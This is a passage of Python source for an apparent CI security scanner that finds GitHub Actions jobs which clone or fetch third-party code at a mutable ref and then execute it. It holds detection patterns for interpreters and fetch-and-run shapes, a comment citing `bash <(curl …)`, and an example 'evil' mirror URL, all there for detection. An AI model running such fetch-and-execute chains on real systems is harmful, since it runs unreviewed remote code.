  3168. _ABBREV_SHA_RE = re.compile(r"^[0-9a-fA-F]{7,39}$")
  3169. # `git clone` options that consume a separate VALUE argument. Getting this set
  3170. # wrong would make an option's value look like the clone's URL or destination,
  3171. # and the destination is what the whole connection test rests on.
  3172. #
  3173. # Options whose value is only ever ATTACHED (`--recurse-submodules=<pathspec>`,
  3174. # `--also-filter-submodules`) must stay OUT: listed here they would eat the
  3175. # following argument, shifting the URL, the destination and the ref by one and
  3176. # leaving the correlation chasing a directory that does not exist.
  3177. _CLONE_VALUE_OPTS = {
  3178. "-b", "--branch", "--revision", "--depth", "-o", "--origin", "-u",
  3179. "--upload-pack", "--reference", "--reference-if-able",
  3180. "--separate-git-dir", "--template", "-c", "--config", "-j", "--jobs",
  3181. "--filter", "--shallow-since", "--shallow-exclude", "--server-option",
  3182. "--bundle-uri",
  3183. }
  3184. # Interpreters that run a FILE named on their command line. `-m` is excluded
  3185. # where it appears (a module name is not a path), except for the pip form
  3186. # handled separately below.
  3187. _INTERPRETERS = {
  3188. "python", "python2", "python3", "node", "nodejs", "bash", "sh", "zsh",
  3189. "ksh", "ruby", "perl", "php", "pwsh", "powershell",
  3190. }
  3191. # An interpreter reads its program from the command line (`-c`, `-e`, and the
  3192. # perl one-liner combinations) or from stdin (`-`), rather than from a file
  3193. # named as an argument. `-m` names a module, which is not a path either.
  3194. _INLINE_SCRIPT_FLAGS = {
  3195. "-c", "-m", "-e", "-E", "-", "-pe", "-ne", "-p", "-n", "-ape", "-lpe",
  3196. "--eval", "--exec",
  3197. }
  3198. _SOURCE_CMDS = {"source", "."}
  3199. # `pip install` options that consume a separate VALUE. Every one of these takes
  3200. # a path or a name that pip reads or writes — never code pip executes.
  3201. _PIP_VALUE_OPTS = {
  3202. "-r", "--requirement", "-t", "--target", "-c", "--constraint",
  3203. "-i", "--index-url", "--extra-index-url", "-f", "--find-links",
  3204. "--prefix", "--root", "--src", "--upgrade-strategy", "--no-binary",
  3205. "--only-binary", "--platform", "--python-version", "--implementation",
  3206. "--abi", "--cache-dir", "--log", "--proxy", "--retries", "--timeout",
  3207. "--exists-action", "--cert", "--client-cert", "--report", "--config-settings",
  3208. }
  3209. _LEADING_WRAPPERS = {"sudo", "command", "exec", "time", "nohup", "env"}
  3210. _ASSIGNMENT_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")
  3211. # Prefix for a directory whose real path is not knowable from the YAML. It
  3212. # cannot collide with any real path, so paths under it match each other and
  3213. # nothing else.
  3214. _OPAQUE_DIR = "\x00wd:"
  3215. # Expressions collapse to ONE TOKEN EACH, not one token for all of them. A
  3216. # shared `$EXPR` made `${{ env.DIR_A }}` and `${{ env.DIR_B }}` the same
  3217. # directory, so a clone into one paired with an execution from the other — a
  3218. # chain the reader cannot find in their own YAML. Tokens are stable per
  3219. # expression TEXT, so the same expression written twice is one place, which is
  3220. # exactly as knowable as a named one.
  3221. _EXPR_TOKEN_TEXT: dict[str, str] = {}
  3222. _EXPR_TEXT_TOKEN: dict[str, str] = {}
  3223. def _expression_token(text: str) -> str:
  3224. """A shlex-safe stand-in for `${{ … }}`, stable per expression text."""
  3225. key = " ".join(text.split())
  3226. token = _EXPR_TEXT_TOKEN.get(key)
  3227. if token is None:
  3228. # DELIMITED with the same NUL sentinel the opaque directories use.
  3229. # An undelimited `$EXPR0` followed by a literal digit — `${{ env.DIR }}2`
  3230. # — read back as `$EXPR02`, the lookup missed, and the scanner's own
  3231. # token reached the report. NUL cannot appear in YAML, so nothing a
  3232. # workflow contains can collide with it or be mistaken for it.
  3233. token = f"$EXPR{len(_EXPR_TEXT_TOKEN)}\x00"
  3234. _EXPR_TEXT_TOKEN[key] = token
  3235. _EXPR_TOKEN_TEXT[token] = key
  3236. return token
  3237. _EXPR_TOKEN_RENDER_RE = re.compile(r"\$EXPR\d+\x00")
  3238. def _reset_expression_tokens() -> None:
  3239. """Clear the per-scan token registry.
  3240. Module-level and never reset, it let one workflow's expression text render
  3241. inside another's finding, with which text leaked depending on file order.
  3242. """
  3243. _EXPR_TEXT_TOKEN.clear()
  3244. _EXPR_TOKEN_TEXT.clear()
  3245. def _as_written(path: str) -> str:
  3246. """`path` with every scanner-internal stand-in put back as the YAML wrote it.
  3247. Nothing that reaches a reader may contain these. The opaque-directory
  3248. sentinel is a NUL byte, and it escaped into `derived_note`, findings.json
  3249. and the rendered markdown — the reader was shown a raw control character
  3250. where their own directory belonged.
  3251. """
  3252. shown = path.replace(_OPAQUE_DIR, "")
  3253. return _EXPR_TOKEN_RENDER_RE.sub(
  3254. lambda m: _EXPR_TOKEN_TEXT.get(m.group(0), m.group(0)), shown)
  3255. # Does unreadable shell mention either half of the chain — a fetch, or something
  3256. # that executes? If not, failing to read it costs this detector nothing.
  3257. _CHAIN_RELEVANT_RE = re.compile(
  3258. # Command NAMES that fetch or execute…
  3259. r"\b(?:git|cd|source|pip|pip3|python[0-9.]*|node|nodejs|bash|sh|zsh|ksh"
  3260. r"|ruby|perl|php|pwsh|powershell)\b"
  3261. # …a GitHub CLI extension install (the third shape)…
  3262. r"|\bgh\s+(?:extensions?|ext)\s"
  3263. # …and the shape of an execution that names no command at all: a PATH
  3264. # invoked directly (`tools/setup.py --msg=…`). Without this arm a visible
  3265. # clone followed by an unparseable `tools/setup.py` produced zero findings
  3266. # AND zero gaps — a silent false clean on exactly the chain this vector
  3267. # exists to catch.
  3268. r"|(?:^|[;&|])\s*\.{0,2}/?[\w.@-]+/[\w./@-]+"
  3269. # …and a sourced path, which needs no extension and no command name:
  3270. # `. tools/env` is an execution the alternation above cannot see.
  3271. r"|(?:^|[;&|])\s*(?:\.|source)\s+\S*/")
  3272. _UNPARSED_CD_RE = re.compile(r"(?:^|[;&|]\s*)\s*cd\s")
  3273. # A whole `${{ … }}` expression. The runner substitutes it before the shell
  3274. # sees it, so it is ONE word — see `_shell_tokens`.
  3275. _EXPRESSION_TOKEN_RE = re.compile(r"\$\{\{.*?\}\}", re.S)
  3276. # `$( … )` — a command substitution. Its body is a command whose OUTPUT becomes
  3277. # a word; the words inside it are not this command's arguments. Left expanded,
  3278. # `FILE=$(ls tools/x.sql)` had its assignment prefix stripped and the `ls`
  3279. # arguments read as the command, so a path `ls` merely listed was reported as
  3280. # executed. Process substitution `<( … )` is deliberately untouched: the piped
  3281. # installer arm matches `bash <(curl …)` on the raw text.
  3282. _COMMAND_SUBSTITUTION_RE = re.compile(r"\$\((?:[^()]|\([^()]*\))*\)", re.S)
  3283. def _shell_tokens(segment: str) -> list[str]:
  3284. """`segment` split the way a shell would, or `[]` when it cannot be.
  3285. A segment carrying an unbalanced quote or a construct `shlex` refuses is
  3286. returned as no tokens at all: this detector only ever ADDS a finding when
  3287. it can see both halves of the chain, so an unparsable command simply
  3288. contributes nothing rather than being guessed at.
  3289. `${{ github.repository }}` collapses to a token that KEEPS its identity,
  3290. because it is the one expression whose value the scanner knows: it is the
  3291. repository being scanned, which is what makes a clone of it a self-clone.
  3292. Every other `${{ … }}` expression is collapsed to its OWN opaque token FIRST — one per
  3293. distinct expression text, never one shared by all of them. The runner
  3294. substitutes it before the shell ever sees it, so it is a single word; split
  3295. on its spaces it becomes three, every positional after it shifts, and the
  3296. clone's destination gets read out of the expression's insides. That is not
  3297. a missing destination but a WRONG one — and a wrong one is what a correct
  3298. 40-hex pin on the real directory would then fail to match.
  3299. """
  3300. try:
  3301. collapsed = _SELF_REPO_EXPRESSION_RE.sub(_SELF_REPO_TOKEN, segment)
  3302. collapsed = _EXPRESSION_TOKEN_RE.sub(
  3303. lambda m: _expression_token(m.group(0)), collapsed)
  3304. return shlex.split(_COMMAND_SUBSTITUTION_RE.sub("$SUBST", collapsed),
  3305. comments=False, posix=True)
  3306. except ValueError:
  3307. return []
  3308. def _strip_command_prefix(tokens: list[str]) -> list[str]:
  3309. """Drop leading `VAR=value` assignments and command wrappers (`sudo`, …)."""
  3310. i = 0
  3311. while i < len(tokens) and (
  3312. _ASSIGNMENT_RE.match(tokens[i]) or tokens[i] in _LEADING_WRAPPERS
  3313. ):
  3314. i += 1
  3315. return tokens[i:]
  3316. # Runner variables that are ABSOLUTE by GitHub's contract. Joining them onto a
  3317. # step's `working-directory:` put them inside a checkout they have nothing to do
  3318. # with — a `vale` binary downloaded from its own release page and sha-verified
  3319. # was reported as executing "from" a docs checkout on a real repository.
  3320. _RUNNER_ABSOLUTE_RE = re.compile(
  3321. r"^\$\{?(?:GITHUB_WORKSPACE|HOME|RUNNER_TEMP|RUNNER_WORKSPACE"
  3322. r"|RUNNER_TOOL_CACHE|GITHUB_ACTION_PATH)\}?/")
  3323. def _resolve_path(cwd: str, path: str) -> str:
  3324. """`path` as seen from `cwd`, normalized. Absolute paths pass through."""
  3325. if path.startswith("/") or _RUNNER_ABSOLUTE_RE.match(path):
  3326. return os.path.normpath(path)
  3327. return os.path.normpath(os.path.join(cwd, path))
  3328. # A path whose FIRST component is a shell variable (`$FOO/x`, `${FOO}/x`) whose
  3329. # value this scanner cannot know. Joining it onto the working directory is a
  3330. # guess: the variable could hold an absolute path that escapes the fetched tree
  3331. # entirely, so resolving it relative to a third-party checkout and firing was a
  3332. # false positive. The runner-absolute variables (`$GITHUB_WORKSPACE/…` etc.)
  3333. # are excluded — GitHub's contract makes them absolute, so `_resolve_path`
  3334. # already places them, correctly, outside any relative destination. The
  3335. # scanner's own stand-ins are excluded too: a `${{ }}` expression collapses to a
  3336. # NUL-delimited `$EXPR<n>` token, `${{ github.repository }}` to `$SELF_REPO`,
  3337. # and a `$(…)` substitution to `$SUBST`.
  3338. _LEADING_SHELL_VAR_RE = re.compile(r"^\$\{?[A-Za-z_][A-Za-z0-9_]*\}?(?:/|$)")
  3339. def _leading_unresolved_var(path: str) -> bool:
  3340. if "\x00" in path or _RUNNER_ABSOLUTE_RE.match(path):
  3341. return False
  3342. if path.startswith(_SELF_REPO_TOKEN) or path.startswith("$SUBST"):
  3343. return False
  3344. return bool(_LEADING_SHELL_VAR_RE.match(path))
  3345. def _under(dest: str, path: str) -> bool:
  3346. """Is `path` inside the fetched destination `dest`?
  3347. `dest == "."` is the whole working tree (what a `git fetch` +
  3348. `git checkout FETCH_HEAD` replaces), so every relative path is inside it;
  3349. an absolute path never is.
  3350. """
  3351. if dest == ".":
  3352. return not path.startswith("/")
  3353. return path == dest or path.startswith(dest + "/")
  3354. def _clone_destination(url: str, dest: str | None) -> str | None:
  3355. """The directory a `git clone` writes into, or None when it is not visible.
  3356. With no explicit destination git derives one from the URL's last path
  3357. segment — knowable only when the URL is a literal. A URL held in a shell
  3358. variable (`"$TOOLS_REPO_URL"`) leaves the destination unknowable, and this
  3359. detector reports nothing it cannot show: no destination means no visible
  3360. connection to whatever executes later.
  3361. """
  3362. if dest:
  3363. return dest
  3364. if not url or "$" in url:
  3365. return None
  3366. base = url.rstrip("/").rsplit("/", 1)[-1].rsplit(":", 1)[-1]
  3367. if base.endswith(".git"):
  3368. base = base[: -len(".git")]
  3369. return base or None
  3370. @dataclass(frozen=True)
  3371. class _RemoteFetch:
  3372. """A fetch of third-party code into a directory this job can execute."""
  3373. line: int
  3374. raw: str
  3375. dest: str
  3376. ref: str | None # None = the remote's default branch (HEAD)
  3377. # Position in the job's command stream. Ordering is the finding's whole
  3378. # claim — the fetch put the code there BEFORE it ran — and a line number
  3379. # cannot carry it: `python3 tools/setup.py && git clone … tools` has both
  3380. # halves on one line, in the wrong order.
  3381. pos: int
  3382. # For the YAML arm: the repository `actions/checkout` was pointed at. None
  3383. # for a shell fetch, whose evidence line already shows the URL.
  3384. source: str | None = None
  3385. def _ref_description(ref: str | None) -> str:
  3386. if ref is None:
  3387. return "the remote's default branch (HEAD)"
  3388. if _ABBREV_SHA_RE.match(ref):
  3389. # Reads mid-sentence ("fetches remote code at <this> into `tools`"), so
  3390. # it stays a NOUN PHRASE — a trailing clause here produced a sentence
  3391. # that ran on through the rest of the finding.
  3392. return f"`{ref}` (an ABBREVIATED commit id git re-resolves at fetch time)"
  3393. # `_as_written`: a `${{ }}` ref is held as an internal stand-in token, and
  3394. # that token reached the reader's finding text verbatim.
  3395. return f"`{_as_written(ref)}`"
  3396. def _git_subcommand(tokens: list[str]) -> tuple[str | None, str | None, list[str]]:
  3397. """(subcommand, `-C` directory, remaining args) for a `git …` invocation."""
  3398. i, gdir = 1, None
  3399. while i < len(tokens):
  3400. tok = tokens[i]
  3401. if tok == "-C" and i + 1 < len(tokens):
  3402. gdir = tokens[i + 1]
  3403. i += 2
  3404. continue
  3405. if tok in ("-c", "--namespace", "--git-dir", "--work-tree") and i + 1 < len(tokens):
  3406. i += 2
  3407. continue
  3408. if tok.startswith("-"):
  3409. i += 1
  3410. continue
  3411. return tok, gdir, tokens[i + 1:]
  3412. return None, gdir, []
  3413. def _parse_clone(args: list[str]) -> tuple[str | None, str | None, str | None]:
  3414. """(url, destination-as-written, ref) from `git clone`'s arguments."""
  3415. ref: str | None = None
  3416. positionals: list[str] = []
  3417. i = 0
  3418. while i < len(args):
  3419. tok = args[i]
  3420. if tok.startswith("--") and "=" in tok:
  3421. name, _, value = tok.partition("=")
  3422. if name in ("--branch", "--revision"):
  3423. ref = value
  3424. i += 1
  3425. continue
  3426. if tok in _CLONE_VALUE_OPTS:
  3427. if i + 1 < len(args):
  3428. if tok in ("-b", "--branch", "--revision"):
  3429. ref = args[i + 1]
  3430. i += 2
  3431. continue
  3432. i += 1
  3433. continue
  3434. if tok.startswith("-"):
  3435. i += 1
  3436. continue
  3437. positionals.append(tok)
  3438. i += 1
  3439. url = positionals[0] if positionals else None
  3440. dest = positionals[1] if len(positionals) > 1 else None
  3441. return url, dest, ref
  3442. # `github.com/<owner>/<repo>`, in any of the spellings a workflow writes it:
  3443. # the https form, git's scp-like `user@host:owner/repo.git` form, and the
  3444. # authenticated form that carries a token in the URL's userinfo (which the
  3445. # `[/:]` and optional-userinfo handling below both cover).
  3446. _GITHUB_SLUG_RE = re.compile(
  3447. r"github\.com[/:]([A-Za-z0-9._-]+)/([A-Za-z0-9._-]+?)(?:\.git)?(?:[/?#]|$)")
  3448. _SELF_REPO_EXPRESSION_RE = re.compile(r"\$\{\{\s*github\.repository\s*\}\}")
  3449. # Survives expression collapsing in `_shell_tokens` so the clone arm can still
  3450. # see that the URL named the scanned repository.
  3451. _SELF_REPO_TOKEN = "$SELF_REPO"
  3452. # The self-repository expression (or its collapsed token) as the ENTIRE
  3453. # `owner/repo` path segment of a URL — `github.com/${{ github.repository }}` and
  3454. # nothing appended to it.
  3455. _SELF_REPO_SLUG_RE = re.compile(
  3456. r"[/@]"
  3457. r"(?:\$\{\{\s*github\.repository\s*\}\}|\$SELF_REPO"
  3458. # The environment-variable spelling is exactly as self-identifying as the
  3459. # expression, and the guard already honours the expression.
  3460. r"|\$GITHUB_REPOSITORY\b|\$\{GITHUB_REPOSITORY\})"
  3461. r"(?:\.git)?(?:[/?#]|$)")
  3462. @lru_cache(maxsize=64)
  3463. def _origin_slug(root: str) -> str | None:
  3464. """`owner/repo` for the checkout at `root`, from `.git/config`, or None.
  3465. Read straight out of the config file rather than by running `git`: this is
  3466. a per-workflow-file question on a scan that already refuses to shell out
  3467. for anything, and a scan of an exported tree with no `.git` simply gets
  3468. None and reports as before.
  3469. """
  3470. try:
  3471. text = (Path(root) / ".git" / "config").read_text(
  3472. encoding="utf-8", errors="strict")
  3473. except (OSError, UnicodeDecodeError):
  3474. return None
  3475. section = None
  3476. for line in text.splitlines():
  3477. stripped = line.strip()
  3478. if stripped.startswith("["):
  3479. section = stripped
  3480. continue
  3481. if section != '[remote "origin"]' or "=" not in stripped:
  3482. continue
  3483. key, _, value = stripped.partition("=")
  3484. if key.strip() != "url":
  3485. continue
  3486. match = _GITHUB_SLUG_RE.search(value.strip())
  3487. return f"{match.group(1)}/{match.group(2)}" if match else None
  3488. return None
  3489. def _is_self_clone(url: str, file_path: Path) -> bool:
  3490. """Does this URL name the repository being scanned?
  3491. Cloning your own repository at a branch is not this vector: no third party
  3492. is involved, and the fix — pin to a full commit id — is unactionable for a
  3493. release workflow that must run at the branch head. On a 2,920-file corpus
  3494. this shape was 3 of the detector's 15 fires, all one repository's release
  3495. workflows. The `git fetch` arm already refuses the repo's own history via
  3496. its named-remote rule; the `clone` arm had no equivalent.
  3497. """
  3498. if not url:
  3499. return False
  3500. # `${{ github.repository }}` IS the scanned repository — but only when it
  3501. # is the WHOLE `owner/repo` part of the URL. Searching for it anywhere let
  3502. # `…/evil/${{ github.repository }}-mirror` — a stranger's URL that merely
  3503. # embeds yours — read as your own and go silent, and this guard exists to
  3504. # suppress findings, so a loose match suppresses real ones.
  3505. if _SELF_REPO_SLUG_RE.search(url):
  3506. return True
  3507. match = _GITHUB_SLUG_RE.search(url)
  3508. if not match:
  3509. return False
  3510. # `.github/workflows/<file>` — the scanned checkout is two levels up.
  3511. parents = file_path.resolve().parents
  3512. if len(parents) < 3:
  3513. return False
  3514. slug = _origin_slug(str(parents[2]))
  3515. cloned = f"{match.group(1)}/{match.group(2)}"
  3516. return slug is not None and slug.lower() == cloned.lower()
  3517. def _is_remote_url(token: str) -> bool:
  3518. """A `git fetch` remote that names a THIRD PARTY rather than this repo.
  3519. `git fetch origin main` pulls the repository's own history — the code is
  3520. already the repo's, so it is not this vector. A URL (or a variable holding
  3521. one) is the shape that reaches somebody else's server.
  3522. """
  3523. return "://" in token or "@" in token or "$" in token
  3524. def _executed_path(tokens: list[str]) -> str | None:
  3525. """The path this command EXECUTES, as written, or None.
  3526. Deliberately narrow — an interpreter running a named file, a sourced
  3527. script, a `pip install` of a directory, or a path invoked directly. A
  3528. command that merely reads the tree (`ls`, `cat`, `grep`) is not execution
  3529. and must not be treated as it.
  3530. """
  3531. if not tokens:
  3532. return None
  3533. cmd = tokens[0]
  3534. rest = tokens[1:]
  3535. if cmd in _SOURCE_CMDS:
  3536. return rest[0] if rest and not rest[0].startswith("-") else None
  3537. if cmd in ("pip", "pip3") or (
  3538. cmd in _INTERPRETERS and rest[:2] == ["-m", "pip"]
  3539. ):
  3540. args = rest[2:] if rest[:2] == ["-m", "pip"] else rest
  3541. if "install" not in args:
  3542. return None
  3543. skip_next = False
  3544. for i, tok in enumerate(args):
  3545. if skip_next:
  3546. skip_next = False
  3547. continue
  3548. if tok == "-e" and i + 1 < len(args):
  3549. return args[i + 1] # editable install: it runs setup.py
  3550. if tok in _PIP_VALUE_OPTS:
  3551. # A flag's VALUE is not a positional. `--target tools/deps`
  3552. # names a destination pip writes into and `-r reqs.txt` names a
  3553. # file pip READS; reporting either as "executes" asserts
  3554. # something pip does not do.
  3555. skip_next = True
  3556. continue
  3557. if tok.startswith("-") or tok == "install":
  3558. continue
  3559. if tok.startswith("./") or tok.startswith("../") or "/" in tok:
  3560. return tok
  3561. return None
  3562. if cmd in _INTERPRETERS:
  3563. return _interpreter_executed_path(cmd, rest)
  3564. if "/" in cmd and not cmd.startswith("-"):
  3565. return cmd
  3566. return None
  3567. # Which flags mean "the program is on the command line" depends on the
  3568. # INTERPRETER, and only the flags BEFORE the first operand are the
  3569. # interpreter's at all.
  3570. #
  3571. # A flat whitelist scanned over every argument leaked in both directions.
  3572. # `-e`/`-E`/`-p`/`-n` are ordinary shell and Python options, so
  3573. # `bash -e tools/install.sh` and `bash tools/install.sh -n` — where the flag
  3574. # belongs to the FETCHED SCRIPT — became silent false cleans on exactly the
  3575. # chain this vector catches. Meanwhile spellings the list did not carry
  3576. # (`bash -lc`, `perl -lane`, `php -r`, `pwsh -Command`) still rendered the
  3577. # program text as "the executed path".
  3578. _INLINE_LETTER_FLAGS = {
  3579. # A single-dash cluster containing one of these letters carries the program.
  3580. "perl": set("ce"), "ruby": set("ce"), "node": set("ep"), "nodejs": set("ep"),
  3581. "php": set("r"), "python": set("c"), "python2": set("c"), "python3": set("c"),
  3582. "bash": set("c"), "sh": set("c"), "zsh": set("c"), "ksh": set("c"),
  3583. }
  3584. # Long forms, and the PowerShells, which do not use single-letter clusters.
  3585. _INLINE_LONG_FLAGS = {
  3586. "--eval", "--exec", "--command", "-command", "-encodedcommand", "-c",
  3587. }
  3588. # Options that consume a separate VALUE which is not the program — python's
  3589. # warning filter. Case matters: python's `-W` takes a value, perl's `-w` is a
  3590. # boolean, and conflating them ate the script path after it.
  3591. _INTERPRETER_VALUE_OPTS = {"-W"}
  3592. # Shell-only value options. `bash -o pipefail script.sh` and its kin name a
  3593. # shell OPTION as the value of `-o` (and `-O` for a bash `shopt` name), so the
  3594. # path is the NEXT word — read flatly, `pipefail` was taken for the script and
  3595. # the real execution silently missed. Scoped to the shells because python's
  3596. # `-O` is a boolean (`python3 -O tool.py` runs `tool.py`), so a global entry
  3597. # would eat the script there. `sh`/dash carries `-o` but not `-O`.
  3598. _SHELL_VALUE_OPTS = {
  3599. "bash": {"-o", "-O"}, "zsh": {"-o", "-O"}, "ksh": {"-o", "-O"},
  3600. "sh": {"-o"},
  3601. }
  3602. # `-m` names a MODULE, which is not a path at all.
  3603. _MODULE_FLAGS = {"-m"}
  3604. def _interpreter_executed_path(cmd: str, rest: list[str]) -> str | None:
  3605. """The FILE this interpreter runs, or None when it runs inline text.
  3606. Only leading flags are inspected: the scan stops at the first operand,
  3607. because everything after it belongs to the program being run, not to the
  3608. interpreter.
  3609. """
  3610. letters = _INLINE_LETTER_FLAGS.get(cmd, set())
  3611. value_opts = _INTERPRETER_VALUE_OPTS | _SHELL_VALUE_OPTS.get(cmd, set())
  3612. i = 0
  3613. while i < len(rest):
  3614. tok = rest[i]
  3615. if tok == "-":
  3616. return None # the program comes from stdin
  3617. if tok.startswith("<<"):
  3618. return None # …from a here-doc
  3619. if not tok.startswith("-"):
  3620. return tok # the first operand IS the file
  3621. low = tok.lower()
  3622. if low in _INLINE_LONG_FLAGS or low.startswith("--eval="):
  3623. return None
  3624. if tok in _MODULE_FLAGS:
  3625. return None # a module name is not a path
  3626. if tok in value_opts:
  3627. i += 2 # the value is not the program
  3628. continue
  3629. if tok.startswith("-") and not tok.startswith("--") and len(tok) > 1:
  3630. if letters & set(tok[1:]):
  3631. return None # `-c`, `-lc`, `-lane`, `-pe`, …
  3632. i += 1
  3633. return None
  3634. def _job_shell_commands(
  3635. text: str, job_range: tuple[int, int] | None,
  3636. gap: Callable[[str], None] | None = None,
  3637. ) -> list[tuple[int, str, str, bool]]:
  3638. """(line, verbatim line, joined command, starts-a-new-step) for the job.
  3639. Restricted to `run:` scalar content, like every other shell reader here, so
  3640. a step `name:` or a YAML comment is never read as a command. The fourth
  3641. element marks the first command of a STEP, which is where the working
  3642. directory must be forgotten: `cd` does not survive from one step to the
  3643. next, and carrying it across would connect a fetch to an execution that
  3644. never ran in that directory. Step identity comes from where each `run:`
  3645. scalar begins (`_run_scalar_starts`), never from line adjacency — adjacency
  3646. gets it wrong in both directions, joining two inline steps and splitting
  3647. one block scalar at a blank line.
  3648. A HEREDOC body is dropped: `cat <<'EOF' > install.sh` writes text to a
  3649. file, and the text a step writes is not a command the step runs. Reading it
  3650. as shell would let a documented example be reported as a live chain.
  3651. """
  3652. lines = text.splitlines()
  3653. shell_lines = _run_scalar_line_numbers(text)
  3654. step_starts = _run_scalar_starts(text)
  3655. inline_values = _inline_run_values(text)
  3656. start, end = job_range if job_range else (1, len(lines))
  3657. out: list[tuple[int, str, str, bool]] = []
  3658. heredoc: str | None = None
  3659. for line_no, raw, cmd in _shell_commands(lines):
  3660. if line_no < start or line_no > min(end, len(lines)):
  3661. continue
  3662. if line_no not in shell_lines:
  3663. continue
  3664. if line_no in step_starts:
  3665. if heredoc is not None and gap is not None:
  3666. # The body really was open at the end of the step, so its
  3667. # commands were correctly not read — but a step that stopped
  3668. # being scanned must not read as a step with nothing in it.
  3669. gap(f"a here-doc opened with `{heredoc}` was never closed "
  3670. f"before the step ended, so the rest of that step was NOT "
  3671. f"scanned for a mutable fetch executed out of")
  3672. heredoc = None # a body cannot outlive its own step
  3673. if heredoc is not None:
  3674. if raw.strip() == heredoc:
  3675. heredoc = None
  3676. continue
  3677. # An INLINE scalar's shell starts after the `run:` key, and the raw
  3678. # line carries that key: without stripping it the first token of
  3679. # `- run: git clone …` is the list dash, and every one-line step in
  3680. # the file reads as an unparsable command.
  3681. key = _RUN_KEY_LINE_RE.match(cmd)
  3682. if key and key.group(2) and not _BLOCK_SCALAR_RE.match(key.group(2).strip()):
  3683. # Prefer the parser's own value for a single-line scalar, so YAML
  3684. # quoting (`run: "git clone … && bash x.sh"`) is stripped before the
  3685. # shell tokenizer sees it. Multi-line scalars are not in the map and
  3686. # keep the raw line.
  3687. cmd = inline_values.get(line_no, key.group(2))
  3688. out.append((line_no, raw, cmd, line_no in step_starts))
  3689. opened = _heredoc_delimiter(cmd)
  3690. if opened:
  3691. heredoc = opened
  3692. if heredoc is not None and gap is not None:
  3693. gap(f"a here-doc opened with `{heredoc}` was never closed before the "
  3694. f"job ended, so the rest of that step was NOT scanned for a "
  3695. f"mutable fetch executed out of")
  3696. return out
  3697. # A step's own `working-directory:`, keyed by the line its `run:` shell begins
  3698. # on — the same key `_run_scalar_starts` produces, so the two agree by
  3699. # construction.
  3700. _STEP_ITEM_RE = re.compile(r"^(\s*)-\s")
  3701. _WORKING_DIR_RE = re.compile(r"^\s*working-directory\s*:\s*(.+?)\s*$")
  3702. @dataclass(frozen=True)
  3703. class _StepMark:
  3704. """One step, located by the YAML parser rather than by a line regex."""
  3705. job: str
  3706. run_line: int | None # 1-based line the `run:` VALUE starts on
  3707. uses_line: int | None # 1-based line the `uses:` VALUE starts on
  3708. working_directory: str | None
  3709. uses: str | None # the action the step runs, verbatim
  3710. start_line: int # 1-based first line of the step itself
  3711. end_line: int # 1-based last line of the step
  3712. run_value: str | None = None # the `run:` scalar, as the PARSER read it
  3713. run_end_line: int | None = None # 1-based line the `run:` VALUE ends on
  3714. def _step_marks(text: str) -> list[_StepMark] | None:
  3715. """Every step in the document with source lines, or None if it won't compose.
  3716. Read from the composed node tree — what the parser itself saw. The defects
  3717. this replaces all came from scraping raw lines with regexes while the
  3718. parsed document was already in hand:
  3719. * `working-directory: . # repo root` took the YAML comment into the
  3720. value, rendering a destination of `` `. # repo root/tools` ``;
  3721. * a `working-directory:` written INSIDE a heredoc body — text the step
  3722. GENERATES, not configuration of the step — was read as the step's own,
  3723. so the finding stated a destination lifted from generated content;
  3724. * checkout steps were matched to lines by ORDINAL, so the words
  3725. `uses: actions/checkout@v4` inside a heredoc shifted every later step.
  3726. A value the parser hands us cannot disagree with the document. A regex over
  3727. the same bytes can, and did.
  3728. """
  3729. try:
  3730. root = yaml.compose(text)
  3731. except yaml.YAMLError:
  3732. return None
  3733. if not isinstance(root, yaml.MappingNode):
  3734. return None
  3735. def _child(node: Any, key: str) -> Any:
  3736. if not isinstance(node, yaml.MappingNode):
  3737. return None
  3738. for k, v in node.value:
  3739. if getattr(k, "value", None) == key:
  3740. return v
  3741. return None
  3742. jobs = _child(root, "jobs")
  3743. if not isinstance(jobs, yaml.MappingNode):
  3744. return None
  3745. out: list[_StepMark] = []
  3746. for job_key, job_node in jobs.value:
  3747. for step in _iter_step_nodes(_child(job_node, "steps")):
  3748. run = _child(step, "run")
  3749. uses = _child(step, "uses")
  3750. wd = _child(step, "working-directory")
  3751. out.append(_StepMark(
  3752. job=str(getattr(job_key, "value", "")),
  3753. run_line=(run.start_mark.line + 1) if run is not None else None,
  3754. uses_line=(uses.start_mark.line + 1) if uses is not None else None,
  3755. working_directory=(str(wd.value)
  3756. if wd is not None and hasattr(wd, "value")
  3757. else None),
  3758. uses=(str(uses.value)
  3759. if uses is not None and hasattr(uses, "value") else None),
  3760. start_line=step.start_mark.line + 1,
  3761. end_line=step.end_mark.line + 1,
  3762. run_value=(str(run.value)
  3763. if run is not None and hasattr(run, "value")
  3764. else None),
  3765. run_end_line=(run.end_mark.line + 1) if run is not None else None,
  3766. ))
  3767. return out
  3768. def _step_working_directories(text: str) -> dict[int, str]:
  3769. """{run-scalar start line: the step's `working-directory:`}.
  3770. Keys are the lines `_run_scalar_starts` reports, because that is what
  3771. `_job_shell_commands` uses to mark a step boundary. VALUES come from the
  3772. composed document (`_step_marks`), so a YAML comment, a quoted value, or a
  3773. `working-directory:` written inside a heredoc body cannot reach them. Each
  3774. parsed step's `run:` line is matched to the first shell start at or after
  3775. it — the same step, by construction.
  3776. """
  3777. marks = _step_marks(text)
  3778. if marks is None:
  3779. return {}
  3780. starts = sorted(_run_scalar_starts(text))
  3781. out: dict[int, str] = {}
  3782. for mark in marks:
  3783. if mark.run_line is None or mark.working_directory is None:
  3784. continue
  3785. # Bounded to the step's OWN source span. Matching the first shell start
  3786. # at or after the `run:` line searched the whole file, so a flow-style
  3787. # `- {run: …, working-directory: vendor/x}` — which the line regex
  3788. # cannot see as a shell start at all — donated its directory to the
  3789. # next block-scalar step, in a different JOB, fabricating a destination
  3790. # there and moving a real chain out of the fetched tree here.
  3791. start_line = next(
  3792. (s for s in starts
  3793. if mark.run_line <= s <= mark.end_line), None)
  3794. if start_line is not None:
  3795. out[start_line] = mark.working_directory.strip()
  3796. return out
  3797. def _inline_run_values(text: str) -> dict[int, str]:
  3798. """{run-scalar start line: the parser's own value} for SINGLE-LINE `run:`.
  3799. A single-line `run:` value comes from the composed document, not the raw
  3800. line, so YAML quoting never reaches the shell tokenizer. `run: "git clone …
  3801. && bash x.sh"` was handed to `shlex` with its double quotes intact and came
  3802. back as ONE quoted word — the clone and the execution both vanished, a
  3803. silent false clean. Block scalars (`run: |`) and plain multi-line scalars
  3804. keep their line-by-line reading; only a value the parser saw begin and end
  3805. on one line is substituted, so nothing multi-line is disturbed.
  3806. """
  3807. marks = _step_marks(text)
  3808. if marks is None:
  3809. return {}
